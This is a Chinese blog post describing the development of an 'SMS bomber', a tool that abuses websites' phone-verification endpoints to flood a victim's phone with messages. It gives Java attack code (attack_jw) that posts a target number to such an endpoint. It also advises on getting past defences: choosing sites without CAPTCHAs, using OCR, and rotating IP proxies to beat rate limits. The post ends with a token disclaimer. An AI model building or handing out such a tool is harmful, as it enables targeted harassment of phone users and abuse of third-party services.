记一次短信轰炸机的开发

随手记

 

前段时间总是收到垃圾短信,烦得很。于是想搞个轰炸机轰回去。

 

开发环境:JavaWeb

开发原理:

在某平台注册一个账号时,往往会叫你输入手机号然后发短信验证。短信轰炸的原理就是利用这个,在众多的网站上,利用这个手机号注册,目的就是让网站发验证码短信给这个手机号。当然,手工操作很麻烦,当用代码去模拟这个操作时,就变得不一样了,可以快速,高效地在短时间内发送大量短信,甚至可以定时发送,天天发送.... ..

 

开发的原理知道了,代码也就不难了,就是用代码模拟发起HTTP请求的:

 /**
     * 
     * @param num:手机号码
     * @return :true :攻击完成   false:攻击失败
     */
    private boolean attack_jw(String num) throws IOException {
        boolean result = false;
        String URL = "某个网站发送短信验证码的请求链接";
        HttpClient httpClient = new DefaultHttpClient();
        HttpPost httpPost = new HttpPost(URL);

        List params = new ArrayList();

        //设置参数
        params.add(new BasicNameValuePair("phone",num));
      
        httpPost.setEntity(new UrlEncodedFormEntity(params, HTTP.UTF_8));

        HttpResponse httpResponse = httpClient.execute(httpPost);

        if(httpResponse.getStatusLine().getStatusCode()==200){
            HttpEntity entity = httpResponse.getEntity();
            String result1 = EntityUtils.toString(entity,"utf-8");
            JSONObject json = JSONObject.fromObject(result1);
            String a = json.getString("result");
            if ("1".equals(a))
                result = true;
        }
        return result;
    }

 

开发难点:

1,大多网站的发送短信验证码前,都会要求你输入图形验证码,我们需要的是没有图形验证码的网站。(很少,难找)

某些大佬也可能用OCR来解决这个问题,但是轰炸成本就...

记一次短信轰炸机的开发_第1张图片

 

2,短信验证码的保护机制,60秒才能再发一次,一天最多发10次等。这个得需要用IP动态代理来解决。但是目前还没找到比较稳定的代理源。 

 

3,运营商的保护机制(猜的)换了个新的IP都无法发送

记一次短信轰炸机的开发_第2张图片

 

   最后,纯属技术分享,请不要乱轰炸他人。

你可能感兴趣的:(随手记)